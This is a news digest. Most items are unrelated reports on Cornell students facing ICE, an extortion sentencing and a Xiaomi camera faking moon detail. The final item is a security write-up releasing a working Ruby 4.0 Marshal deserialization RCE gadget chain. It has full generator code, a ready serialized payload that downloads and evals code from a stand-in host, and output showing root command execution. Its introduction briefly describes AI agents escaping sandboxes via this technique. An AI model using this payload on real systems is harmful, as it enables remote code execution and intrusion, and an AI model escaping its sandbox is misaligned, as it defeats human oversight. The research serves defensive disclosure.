Momodou Taal and Amandla Thomas-Johnson were finishing their graduate degrees abroad because of targeting by the Trump administration. Cornell is ordering them back to campus. The post Cornell to Pro-Palestine Students Targeted by ICE: Come Back to the U.S. or Lose Funding appeared first on The Inte...
Original Article

Cornell University is reneging on its pledge to help two graduate students avoid immigration detention by threatening to cut their funding if they don’t return to the United States, where the Trump administration has targeted them for possible deportation over their participation in a pro-Palestine protest.

The Ivy League university had previously told Momodou Taal and Amandla Thomas-Johnson that they could finish their degrees with funding abroad, according to both Taal and Cornell’s graduate student union. After the Trump administration began to pursue both students in March 2025, Taal and Thomas-Johnson fled to Cairo and planned to complete their studies there. Taal’s attorney said the students are not sure if there’s a deportation order against them, but Homeland Security Investigations, the Immigrations and Customs Enforcement intelligence division, has launched inquiries concerning both of them, and Taal was ordered to appear at an ICE office last year. The students believe they would likely be detained by immigration authorities upon return to the U.S.

Now, the school says the two students must teach on campus in Ithaca, New York, this fall or lose their funding.

“Either they knew I can’t come back, which is probably most likely, or they actually want me to come back and get arrested on arrival,” Taal told The Intercept in an interview. “Because of my Palestine activism, I’ve been treated even differently than people who are in similar circumstances.”

The school has previously worked with other students experiencing visa issues to continue their studies abroad with funding, noted Taal and Ewa Nizalowska, president of the Cornell graduate student union.

Cornell declined to comment on Taal and Thomas-Johnson’s cases, but in a written statement to The Intercept, a spokesperson called the idea that the university was targeting students for protest activity “untrue and unfounded.” The spokesperson added that “Cornell University remains deeply committed to helping international students continue making academic progress when they encounter visa or travel-related challenges.”

The Cornell funding is the sole source of financial support for Taal and Thomas-Johnson, they told The Intercept. Losing it would hurt their ability to pay for housing, food, healthcare, and other living expenses.

“I have no money. … I’m where I am because the cost of living is cheaper,” Thomas-Johnson said. “I go through day-to-day anxiety — how can I be expected to finish a Ph.D.?”

“If I don’t get funding, I’m going to be homeless,” Taal said. “I’m not going to be able to make rent.”

The Cornell spokesperson added that the students outside the U.S. can apply for fellowships for funding, but those opportunities for the coming semester were closed months ago, Taal said.

“If I don’t get funding, I’m going to be homeless.”

“Cornell knows full well that Momodou would be immediately detained and sent to one of the places where more people are dying than ever before, facing all sorts of abuse, simply for his speech,” said Eric Lee, a civil rights attorney representing Taal. “For the university to claim that they’re offering something fair is a level of cynicism which can only be deliberate by an institution with the experience of Cornell.”

In March 2025, Taal, a British and Gambian dual citizen, and Thomas-Johnson, also a British citizen, fled the country amid a rash of deportation cases in which the Trump administration was targeting international student activists who had been involved in campus protests against Israel’s genocide and apartheid of Palestinians. They were trying to avoid the treatment given to high-profile figures like Columbia University students Mahmoud Khalil and Mohsen Madhawi .

Taal and Thomas-Johsnon had taken part in a September 2024 protest that shut down a Cornell job fair where weapons manufacturers Boeing and L3Harris, which supply weapons to Israel, had booths. The pair of students were suspended for the incident and banned from campus with threat of possible expulsion, which would have exposed them to deportation.

After Trump took office in early 2025, Taal sued the administration over its executive order targeting pro-Palestine international students, arguing it denied activists’ First Amendment rights. Days later, Immigration and Customs Enforcement ordered Taal to surrender to authorities, and agents appeared at his student housing apartment. After a federal judge declined to block Taal’s deportation, Taal decided to leave the U.S. on his own to avoid ICE detention facilities known for their brutal living conditions . Thomas-Johnson followed suit, fleeing to Canada, then Switzerland, Senegal, and Ghana, before eventually joining Taal in Cairo.

The Intercept’s reporting later revealed that leading up to their departures from the U.S., Google had secretly handed ICE agents the students’ Gmail account information and complied with a federal subpoena demanding their bank and credit card numbers .

“Given Cornell’s very positive relationship with the Trump administration, and its willingness to make all sorts of concessions to the attack on educational institutions, the question should be posed to them, whether such an agreement has been made about Momodou,” Lee said, referring to Taal’s funding options.

Last November, Cornell inked a deal with the administration to give the government $60 million and capitulate to the government’s inquiries into diversity initiatives and antisemitism in exchange for restoration of federal funding to the school.

More recently, the Cornell chapter of a pro-Israel alumni group called Alums for Campus Fairness began circulating a mailer praising university President Michael Kotlikoff for taking “action to support Jewish students” and “meaningful action to address campus disruptions.” The mailer, reviewed by The Intercept, did not name Taal or Thomas-Johnson, but indirectly applauded “banning a leading agitator from returning to campus.” The Intercept found last year that a similar pro-Israel alumni group at Columbia had coordinated to arrest and deport pro-Palestine student protesters.

On June 10, Cornell’s graduate school administration sent Taal a letter about his funding options for the upcoming school year. According to the letter, reviewed by The Intercept, Taal could either return to campus and accept a teaching assistant position, apply to be in absentia and seek external funding like a fellowship, forfeit funding and pay tuition on his own, or take a leave of absence.

“Our department funding sources are limited to teaching assistantships,” the letter reads. “This requires you to be on campus in Ithaca, NY to assist with classes. The College of Arts and Sciences restricts classes to being taught in person and on campus. Online courses are not permitted.”

Taal said he was planning to finish his dissertation by spring 2027. He received his most recent stipend from the school in May, and under normal funding circumstances, he would have gotten another stipend this month.

Taal said he had previously taught a freshman writing seminar via Zoom earlier during his program due to unrelated visa issues and questioned why the university could not accommodate the same. His 2022 acceptance letter to Cornell, reviewed by The Intercept, shows annual funding of $67,000 would be guaranteed for the first five years of his program. Taal is in the fifth year of his program in the Africana Studies department. Emails with his department from March, also reviewed by The Intercept, showed discussions about committing to “future funding.”

Cornell extended a similar offer to Thomas-Johnson, who is in his sixth year of the program: He could continue to receive funding by teaching several courses in his department of Literatures in English, also on campus. Even after he further explained his immigration situation and danger of returning to the U.S., he said the university doubled down on the in-person requirement.

Thomas-Johnson and Taal both said their departments and faculty have been accommodating and supportive about their situations and suggested the funding decision likely came from the university administration.

The graduate student union filed grievances alleging the offers breach their collective bargaining agreement with the university. At a meeting, Cornell administrators told the union the university did not have the obligation to fund international students who are facing visa issues, Nizalowska said.

The policy was a “clear reversal,” Nizalowska told The Intercept. Last year, she said a Cornell administrator told the union that individual arrangements were being made to ensure that graduate students with visa issues or difficulty returning to the U.S. could complete their degrees remotely with continued funding from the school.

“We know that it’s no coincidence that Momodou and Amandla are the first two grads to be impacted by this policy change, as two grads who dared to speak out against Cornell’s complicity in the genocide in Palestine, as further exemplified by Cornell’s deal with Trump,” she said. “But we know that many more grads will be impacted by Cornell’s refusal to fund grads who are stuck abroad, whether or not they have been involved in protests against the genocide in Palestine.”

The Cornell spokesperson denied that it was in violation of any policy or had engaged in political targeting. “Cornell’s approach to graduate student funding is longstanding, and there has been no change in, or deviation from, university policy,” the spokesperson wrote. “Graduate funding decisions are unrelated to [protest] activity or to the November 2025 agreement between Cornell and the federal government.”

Taal has considered returning to Gambia, where he has family, but he said unstable internet and electricity access would make his research difficult. He and Thomas-Johnson have their reservations about relocating to Britain, where both have relatives, because of that government’s similar targeting of pro-Palestine activists.

Earlier this year, Taal reported being detained by British authorities for six hours upon landing at London’s Heathrow airport. While he was in custody, officers confiscated his phone and laptop, took his DNA, and questioned him about “the mosque I attended growing up, the Islamic teachers I followed,” and about whether he had read Karl Marx.

The detention came days after United Nations Special Rapporteurs appointed by the UN’s Human Rights Council wrote a letter to Cornell President Kotlikoff, warning him of “serious concern over the reported human rights violations against Mr. Taal and Mr. Thomas-Johnson” over the school’s handling of their disciplinary cases related to the 2024 protest.

“They’re trying to continue making an example out of me and Momodou for our political choices,” Thomas-Johnson said. “It’s easy for them to sideline us for what we stand for and who we are.”

Data analyst sent to prison for stealing data, extorting employer

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 04:27:18
A former data analyst contractor for Brightly Software has been sentenced to two years in prison for targeting his employer in a $2.5 million extortion scheme. [...]...
Original Article

Hacker

A former data analyst contractor for Brightly Software has been sentenced to two years in prison for targeting his employer in a $2.5 million extortion scheme.

Brightly is a Software-as-a-Service (SaaS) company formerly known as SchoolDude, which was acquired by Siemens in August 2022. Brightly employs over 700 people and provides asset management and maintenance software to more than 12,000 clients worldwide.

27-year-old North Carolina man Cameron Curry (also known as "Loot") was found guilty in March of orchestrating an "extensive cyber extortion scheme" targeting his employer.

image

According to court documents , Curry stole sensitive documents after gaining access to the company's payroll information and corporate data, which he later used to extort Brightly after learning that his six-month contract wouldn't be extended.

One day after his contract ended on December 10, he emailed dozens of Brightly employees using the Loot alias and the lootsoftware@outlook.com email address between December 11, 2023, and January 24, 2024, threatening to leak the stolen information unless he was paid a $2.5 million ransom in cryptocurrency.

"We will commence the process of disseminating salary information starting January 1, 2024 in phases to all employees and will report you to the SEC after for not reporting the breach," Curry said in one of the extortion messages.

"If you wish to reclaim your data, we recommend doing so promptly at 2.5 million USD in order to save your company and stocks, as each subsequent month will incur a $100,000 USD increase. Discrepancies in your books are currently over 16 million USD, posing a potential risk for retention issues, a hostile work environment, resentment, and more."

Extortion email sample
Extortion email sample (U.S. Department of Justice)

​He also attached screenshots of employees' personally identifiable information (PII), including their names, dates of birth, home addresses, and compensation information, and threatened to report Brightly to the U.S. Securities and Exchange Commission (SEC) for failing to disclose the breach.

​Following Curry's many extortion emails, Brightly paid $7,540 in Bitcoin, transferring the funds to a cryptocurrency wallet controlled by Curry.

After the company reported the incident to law enforcement, the FBI searched Curry's residence on January 24 and seized various electronic devices containing evidence that linked him to the extortion scheme.

"We are aware of the U.S. Department of Justice's (DOJ) convictions of Cameron Curry for extortion," Brightly told BleepingComputer in March.

"We have fully cooperated with the FBI and DOJ in this matter and appreciate their investigative efforts. Given that these proceedings are pending, we defer all questions to law enforcement authorities."

In May 2023, Brightly also disclosed a data breach (unrelated to this case) after attackers stole credentials and personal data (including names, email addresses, account passwords, phone numbers) of nearly 3 million customers and users from the database of its SchoolDude online platform.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

I Made the World's First "Link Compressor"

Lobsters
www.youtube.com
2026-08-14 03:27:13
Comments...

Eclipse: The Xiaomi 17 Ultra Confuses the Moon and the Sun

Hacker News
www.frandroid.com
2026-08-14 03:03:56
Comments...
Original Article

Quand nous avons photographié l’éclipse du 12 août avec le Xiaomi 17 Ultra, ce dernier a confondu la Lune et le Soleil. Cela s’explique par une astuce connue des smartphones, mais qui a bien raté ici.

Pendant l’éclipse, le Xiaomi 17 Ultra a confondu la Lune et le Soleil… // Source : Photo et montage Frandroid

On a pris en photo l’éclipse avec quatre smartphones différents pour savoir lequel était le meilleur. Dans le lot se trouvait le Xiaomi 17 Ultra et il s’est particulièrement démarqué, mais malheureusement pas dans le bon sens du terme.

En analysant nos photos de l’éclipse prises avec les différents smartphones , on a constaté que l’un des clichés du Xiaomi 17 Ultra dénotait. Le rendu montre en effet que le téléphone a clairement confondu le Soleil avec la Lune .

Photo de l’éclipse avec le Xiaomi 17 Ultra // Source : Frandroid

Regardez en effet comme le Soleil qui apparait rouge orangé est parcouru de reliefs, cratères et lignes typiques de ce qu’on voit habituellement dans les photos de la Lune. Comment est-ce possible ?

Ce contenu est bloqué car vous n’avez pas accepté les cookies et autres traceurs. Ce contenu est fourni par YouTube.
Pour pouvoir le visualiser, vous devez accepter l’usage étant opéré par YouTube avec vos données qui pourront être utilisées pour les finalités suivantes : vous permettre de visualiser et de partager des contenus avec des médias sociaux, favoriser le développement et l’amélioration des produits d’Humanoid et de ses partenaires, vous afficher des publicités personnalisées par rapport à votre profil et activité, vous définir un profil publicitaire personnalisé, mesurer la performance des publicités et du contenu de ce site et mesurer l’audience de ce site (en savoir plus)

En cliquant sur « J’accepte tout », vous consentez aux finalités susmentionnées pour l’ensemble des cookies et autres traceurs déposés par Humanoid et .

Vous gardez la possibilité de retirer votre consentement à tout moment. Pour plus d’informations, nous vous invitons à prendre connaissance de notre Politique cookies .

Les smartphones trichent sur les photos de Lune

Pour comprendre comment le téléphone de Xiaomi, pourtant l’un des meilleurs smartphones en photo et chouchouté par le spécialiste Leica , a pu se rater ainsi, il faut rappeler que les constructeurs ont recours à une petite triche quand on tente de prendre en photo la Lune avec un téléobjectif.

FUJIKINA BP

La FUJIKINA pour la première fois au cœur de Paris : 4, 5 et 6 Sept.

La FUJIKINA, c’est les 4, 5 et 6 septembre prochains ! Testez les produits Fujifilm et rencontrez les photographes invités. Votre billet d’entrée inclut le prêt de matériel, les sessions Touch & Try, le nettoyage de vos capteurs, des photowalks exclusifs ainsi que des studios démo accompagnés par des pro.

Depuis l’avènement des zooms numériques montant à x100 sur le haut de gamme , voire même à x120, des smartphones veulent vous donner la possibilité de produire des images convaincantes de la Lune . On peut d’ailleurs obtenir des rendus assez intéressants pour un téléphone portable.

Une photo de la Lune prise avec la triche d’un Samsung Galaxy S22 Ultra en guise d’illustration. // Source : Omar Belkaab pour Frandroid

Néanmoins, quand on prend ainsi la Lune en photo, le rendu obtenu n’affiche pas vraiment ce que la caméra voyait réellement. Les smartphones s’appuient sur une intelligence artificielle entraînée sur des images de la Lune pour reconstituer les détails (cratères, reliefs) et embellir ainsi le résultat, quitte à le fausser.

Xiaomi 17 Ultra

À la décharge de Xiaomi , il faut préciser que le constructeur chinois n’est clairement pas le seul à recourir à cette triche. Avant l’éclipse du 12 août, nous revenions déjà sur l’épisode du « scandale lunaire » de Samsung afin de rappeler que le mode Space Zoom du fabricant coréen ne vous servirait à rien pendant l’éclipse.

Cette affirmation s’est confirmée. En revanche, on ne s’attendait pas à voir un Xiaomi 17 Ultra carrément forcer un rendu Lune sur le Soleil. Ici, le système s’est clairement planté et montre sans doute possible qu’il a bien recours à l’astuce évoquée plus haut pour les photos zoomées sur la Lune en temps normal.

D’autres personnes ont eu le même souci

Précisons que toutes les photos de l’éclipse que nous avons prises avec le Xiaomi 17 Ultra ne sont pas tombées dans le même piège.

À lire aussi :
Éclipse : on a récupéré une vidéo satellite pour regarder la tache d’ombre sur l’Europe

En revanche, nous ne sommes pas un cas isolé. Sur le réseau social X, des internautes ont partagé des photos similaires à la nôtre.

lmfao @Xiaomi AI turned my solar eclipse into a moon pic.twitter.com/hweym1X508

— Víctor Pérez (@vpx_tech) August 12, 2026

Ce contenu est bloqué car vous n’avez pas accepté les cookies et autres traceurs. Ce contenu est fourni par Twitter.
Pour pouvoir le visualiser, vous devez accepter l’usage étant opéré par Twitter avec vos données qui pourront être utilisées pour les finalités suivantes : vous permettre de visualiser et de partager des contenus avec des médias sociaux, favoriser le développement et l’amélioration des produits d’Humanoid et de ses partenaires, vous afficher des publicités personnalisées par rapport à votre profil et activité, vous définir un profil publicitaire personnalisé, mesurer la performance des publicités et du contenu de ce site et mesurer l’audience de ce site (en savoir plus)

En cliquant sur « J’accepte tout », vous consentez aux finalités susmentionnées pour l’ensemble des cookies et autres traceurs déposés par Humanoid et .

Vous gardez la possibilité de retirer votre consentement à tout moment. Pour plus d’informations, nous vous invitons à prendre connaissance de notre Politique cookies .

À chaque fois, au lieu du Soleil, on a l’impression de voir une Lune rouge.

Foto al eclipse hecha hoy con mi Xiaomi 17 Ultra y un filtro protector de la lente. ¿Notáis algo raro?

Pues sí, la luna era la otra. Ha detectado una esfera brillante en el cielo, se ha puesto en modo "superluna", y directamente se ha inventado toda la superficie pic.twitter.com/bwU0GTYTOO

— Carlos Villasante (@cvillasante) August 12, 2026

Ce contenu est bloqué car vous n’avez pas accepté les cookies et autres traceurs. Ce contenu est fourni par Twitter.
Pour pouvoir le visualiser, vous devez accepter l’usage étant opéré par Twitter avec vos données qui pourront être utilisées pour les finalités suivantes : vous permettre de visualiser et de partager des contenus avec des médias sociaux, favoriser le développement et l’amélioration des produits d’Humanoid et de ses partenaires, vous afficher des publicités personnalisées par rapport à votre profil et activité, vous définir un profil publicitaire personnalisé, mesurer la performance des publicités et du contenu de ce site et mesurer l’audience de ce site (en savoir plus)

En cliquant sur « J’accepte tout », vous consentez aux finalités susmentionnées pour l’ensemble des cookies et autres traceurs déposés par Humanoid et .

Vous gardez la possibilité de retirer votre consentement à tout moment. Pour plus d’informations, nous vous invitons à prendre connaissance de notre Politique cookies .

C’est en tout cas un bon rappel que nos smartphones usent de tout un tas de stratagèmes pour embellir les photos après la prise de vue.

À lire aussi :
Photos de l’éclipse au smartphone (Samsung, Oppo, Xiaomi, Google) : voici nos résultats et classement


Ruby 4.0 Universal RCE Deserialization Gadget Chain

Hacker News
www.elttam.com
2026-08-14 02:09:04
Comments...
Original Article

Introduction

On August 5, 2026, OpenAI disclosed that a collective of AI agents under evaluation had broken out of their sandboxes and taken admin control of the cluster they were running on. It got there, in part, by exploiting Ruby deserialization to execute commands. That caught our attention, because in 2018 we published the first universal RCE deserialization gadget chain for Ruby , built entirely from the standard library with no dependencies. That chain works only against Ruby versions up to 2.6.10, and the most recent public chain only works up to 3.4-rc.

This post releases a new universal chain that turns a single Marshal.load into command execution on Ruby 4.0.6, the most recent release at the time of writing, and works unchanged as far back as 3.3. The chain is built with new gadgets from untapped sources as well as old gadgets put to new use.

Background

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or stored on the filesystem or in a database. These bytes include all the information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has its own native serialization format and may refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used, and the operations are provided by Marshal.dump and Marshal.load .

Thirteen years of Ruby deserialization

Universal Ruby deserialization gadget chains begin in 2018, built on earlier research into application specific chains against Ruby on Rails, and that universal work then fed back into the application specific chains that came after it. Several of the milestones below supply pieces that this chain builds on.

How the 3.4 chain broke

The most recent public chain, published in late 2024, reached command execution on Ruby 3.4-rc with this payload:


Marshal.dump(
  [
    Gem::SpecFetcher,
    to_s_wrapper(
      call_url_and_create_folder(
        "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz"
      )
    ),
    to_s_wrapper(exec_gadget)
  ]
)

Ten days after it was published, two commits landed in RubyGems that removed the gadgets it relied on, each citing the writeup as motivation. Both shipped in Ruby 3.4.0, which is why the chain works against the release candidate but not against the release.

The first commit, 62b49465f8 , is titled "Improve type checking in marshal_load methods" and notes that it "Makes it harder to use those classes as gadgets".

Gem::Version#marshal_load had passed the deserialized value straight to the constructor without validation, where Gem::Version.correct? calls to_s on it:


   def marshal_load(array)
-    initialize array[0]
+    string = array[0]
+    raise TypeError, "wrong version string" unless string.is_a?(String)
+
+    initialize string
   end

The second commit, 89ad04db86 , is titled "Stop storing executable names in ivars" and notes that it "Removes usage of these classes as ACE gadgets".

Gem::Source::Git and Gem::Resolver::GitSet had stored the git executable name in an instance variable, which Marshal restores directly and which was later handed to a process spawn:


-    @git = ENV["git"] || "git"

The name is now read from the environment at the point of use, so there is no instance variable left to set.

These two commits broke to_s_wrapper and exec_gadget , but Gem::SpecFetcher and call_url_and_create_folder were left alone and work in Ruby 4.0.

Building a new chain

Expanding the available set of gadgets

The chain opens with Gem::SpecFetcher not because the class does any work, but because Marshal.load has to resolve the constant, and resolving it fires the RubyGems autoload that requires the file defining it, which in turn requires files of its own, and so on. A bare Ruby process therefore starts with a small set of classes reachable by a chain and ends up, after a single constant reference, with a much larger one to pick gadgets from, including Gem::URI::Generic , Gem::RequestSet::Lockfile and Gem::StubSpecification , all of which the rest of this chain depends on.

Finding a new code execution destination

A suitable replacement for exec_gadget is supplied by Gem::Specification.load , where Gem.open_file resolves to File.open :


class Gem::Specification < Gem::BasicSpecification
  def self.load(file)
    [...]
    code = Gem.open_file(file, "r:UTF-8:-", &:read)
    begin
      spec = eval code, binding, file

This method reads a file from disk and passes its contents directly to eval , so a chain that can control both the filename handed to Gem::Specification.load and the contents of that file ends up with arbitrary code execution.

Calling the load method

The available set offers no flexible gadget of the form @controlled.load(@also_controlled) , but Gem::StubSpecification provides an indirect route to Gem::Specification.load(loaded_from) by calling the hash method. This works because loaded_from is an attr_accessor , so its value is held in @loaded_from and can be set through deserialization:


def eval_file_gadget(filename)
  stub_specification = Gem::StubSpecification.allocate
  stub_specification.instance_variable_set(:@loaded_from, filename)

  return stub_specification
end

That leaves the question of how hash gets called during deserialization.

Triggering the hash method call

Ruby invokes hash on an object whenever it is used as a key in a Hash . Marshal.load reconstructs a hash by inserting its keys, so placing the crafted Gem::StubSpecification as a key somewhere in the payload is enough to have hash called.

Java aficionados will recognise this. HashMap.readObject calls hashCode on every key it restores, which is the entry point for a large share of the chains in ysoserial .

The trigger is not a niche marshal_load override that a maintainer can quietly tighten, but the interaction between two fundamental features of the language, namely hashing an object and reconstructing a Hash during deserialization. Removing it would mean changing the way core data structures behave, which is exactly the kind of tradeoff where a gadget can be cheap to use and expensive to forbid.

Getting code onto the filesystem

Being able to eval an arbitrary file on disk is only useful if the chain can also write attacker-controlled code to disk. Rather than build a new primitive for this, the chain reuses call_url_and_create_folder , which is one of the pieces of the 3.4-rc chain that the maintainers left untouched.

In that earlier chain the gadget created the directories that the command-execution gadget depended on, since Gem::Source::Git began by changing into one of those directories and would fail if it did not already exist. Here it is put to a different use: its URL-download functionality fetches attacker-hosted content and writes that content onto the filesystem at a predictable and typically writable path by way of directory traversal.

Triggering the download

The 3.4 chain invoked call_url_and_create_folder through to_s_wrapper , which the type checking commit removed, so the gadget needs a new caller.

It also needs a caller that tolerates failure. The gadget expects the URL it fetches to hold a serialized object and raises when it does not, and what has to land on disk is Ruby source. A polyglot that is valid as both is not possible, because the Marshal header leaves no room for one. The download and the write happen before the parse, so the exception arrives after the useful work is done.

Ruby's own Time deserialization provides both. time_mload validates the zone name inside rb_rescue , which discards any exception it raises:


static VALUE
validate_zone_name(VALUE zone_name)
{
    StringValueCStr(zone_name);
    return zone_name;
}

static VALUE
time_mload(VALUE time, VALUE str)
{
[...]
    get_attr(zone, (zone = rb_rescue(validate_zone_name, zone, 0, Qnil)));
[...]

time_mload backs Time._load , which Marshal.load calls when rebuilding a Time . The zone name comes straight from the payload, so a crafted Time puts an arbitrary object into validate_zone_name . StringValueCStr then calls to_str on it rather than to_s .

Gem::URI::Generic closes that gap. Its to_str is an alias of to_s , and that method calls to_s on the @port attribute:


module Gem::URI
  class Generic
    def to_s
      [...]
          str << @port.to_s
      [...]
    end
    alias to_str to_s
    [...]

Wrapping the download gadget in one turns the to_str call into the to_s call it needs:


def to_str_calls_to_s(to_s_sink)
  uri = Gem::URI::Generic.allocate
  uri.instance_variable_set("@port", to_s_sink)
  return uri
end

Two gadgets died, two survived, and the survivors do a different job in this chain:

November 2024 3.4-rc chain vs. Ruby 4.0 chain

Crafting the hosted file

The 3.4 chain pointed call_url_and_create_folder at a real gemspec on rubygems.org. Any valid URL would have done, since only the directory created along the way was wanted. This time the file holds the Ruby code to be executed. The retrieved contents pass through Gem::Util.inflate before being written to disk, so the file has to be deflated first:


$ ruby -e 'File.write("poc-id.rz", Gem.deflate("puts `id`"))'

call_url_and_create_folder sets the @scheme attribute to s3 to reach the directory traversal in @port . The signed URL that s3_uri_signer.rb builds hardcodes https:// , so the file must be served over HTTPS. The destination is controlled by Gem::Source#fetch_spec , which joins the cache dir with Gem::MARSHAL_SPEC_DIR (set to quick/Marshal.4.8/ ) and the name tuple's spec_name of "#{name}-#{version}.gemspec" , which becomes name-.gemspec because the @name attribute is set to "name" and the version is absent. The inflated copy lands at /tmp/quick/Marshal.4.8/name-.gemspec , which is the path eval_file_gadget is given.

Serialising a Time that Marshal will not dump

Every other gadget in the chain is a plain object whose instance variables can be set with allocate and instance_variable_set , then handed to Marshal.dump . Time is not, because it defines _dump rather than being dumped field by field. time_dump writes the real zone of the real Time object it is given, so there is no way to make Marshal.dump emit a Time whose zone is an arbitrary object. While Ruby will not dump such an object, this does not prevent Marshal.load from accepting one.

One way around the inability to dump a Time of the required shape is to dump a stand-in object of the same shape and patch the bytes afterwards. The generator builds an Object carrying two instance variables, @offset_placeholder and @zone_placeholder , and then rewrites the object header and the two attribute names into the form Time._load expects:


rce_gadget_chain = placeholder_gadget_chain.gsub(
  "o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder",
  "Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone"
).b

The replacement is a TYPE_USERDEF ( u ) entry for Time holding the eight byte packed time buffer, wrapped in a TYPE_IVAR ( I ) so that the offset and zone attributes ride along with it, exactly as a genuine Marshal.dump(Time.now) would look. The zone value that follows in the stream is untouched and is still the gadget.

The patch is byte level surgery on a format with backreferences, so it is fragile in one specific way. Marshal writes each symbol once and emits a TYPE_SYMLINK for every later use, and a symlink is an index into the symbols seen so far. Adding or removing a symbol definition before the patched region would shift every index after it and corrupt the rest of the stream. Both the search and the replacement therefore define exactly three symbols, so the table stays aligned.

One more detail is needed before the stream can be produced at all. The chain places the Gem::StubSpecification gadget as a Hash key, and Ruby calls hash on a key when the hash literal is evaluated, which would fire the gadget inside the generating process rather than the target. Stubbing the method out for the duration of generation avoids that:


class Gem::StubSpecification
  def hash
    0
  end
end

The generator


Gem::SpecFetcher # Trigger autoloading, same autoload trigger as generated chain

def call_url_and_create_folder(url)
  uri = Gem::URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", url + "?")
  uri.instance_variable_set("@port",
    "/../../../../../../../../../../../../../../../tmp/"
  )
  uri.instance_variable_set("@user", "any")
  uri.instance_variable_set("@password", "any")

  source = Gem::Source.allocate
  source.instance_variable_set("@uri", uri)
  source.instance_variable_set("@update_cache", true)

  index_spec = Gem::Resolver::IndexSpecification.allocate
  index_spec.instance_variable_set("@name", "name")
  index_spec.instance_variable_set("@source", source)

  request_set = Gem::RequestSet.allocate
  request_set.instance_variable_set("@sorted_requests", [index_spec])

  lockfile = Gem::RequestSet::Lockfile.new('','','')
  lockfile.instance_variable_set("@set", request_set)
  lockfile.instance_variable_set("@dependencies", [])

  return lockfile
end

def to_str_calls_to_s(to_s_sink)
  uri = Gem::URI::Generic.allocate
  uri.instance_variable_set("@port", to_s_sink)
  return uri
end

def eval_file_gadget(filename)
  stub_specification = Gem::StubSpecification.allocate
  stub_specification.instance_variable_set(:@loaded_from, filename)
  return stub_specification
end


time_placeholder = Object.new
time_placeholder.instance_variable_set(
  "@offset_placeholder",
  0
)
time_placeholder.instance_variable_set(
  "@zone_placeholder",
  to_str_calls_to_s(call_url_and_create_folder("example.com/poc-id.rz"))
)

# monkey patch to remove actual code as it is called by {eval_file_gadget => nil}
class Gem::StubSpecification
  def hash
    0
  end
end

placeholder_gadget_chain = Marshal.dump(
  [
    Gem::SpecFetcher,
    time_placeholder,
    {eval_file_gadget("/tmp/quick/Marshal.4.8/name-.gemspec") => nil}
  ]
)

# this is fragile due to TYPE_SYMLINK having position dependency
# so we ensure symbol count matches (3 in match, 3 in replace)
rce_gadget_chain = placeholder_gadget_chain.gsub(
  "o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder",
  "Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone"
).b

puts rce_gadget_chain.inspect

Every gadget above plays one of two roles: getting the attacker's code onto disk, or reading it back and running it. Laid out as a single chain, the whole thing looks like this:

New gadget chain flow

The payload

Running the generator emits the finished chain:


"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@update_cacheT:\x12@dependencies[\x00:\x13@gem_deps_fileI\"\t/pwd\x06;\x10T:\x12@gem_deps_dirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0"

Two things have to be in place before it is loaded. The deflated payload from earlier must be served as poc-id.rz over HTTPS by the host named in @host , which is example.com here and would be a reachable attacker controlled host in practice. The target must also be able to write to /tmp , though any writable directory would do if the traversal and the filename are changed together. Nothing else is required of the target: no gems beyond those loaded and available by default in Ruby, no application code, and no prior state on disk.

Running it

Running the generated payload against an empty Ruby process using the Docker image ruby:4.0.6 outputs uid=0(root) gid=0(root) groups=0(root) , showing the id binary was successfully executed:


$ sudo docker run --rm -it ruby:4.0.6 ruby -e 'Marshal.load("\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@update_cacheT:\x12@dependencies[\x00:\x13@gem_deps_fileI\"\t/pwd\x06;\x10T:\x12@gem_deps_dirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0")'
uid=0(root) gid=0(root) groups=0(root)
[/tmp/quick/Marshal.4.8/name-.gemspec] isn't a Gem::Specification (NilClass instead).
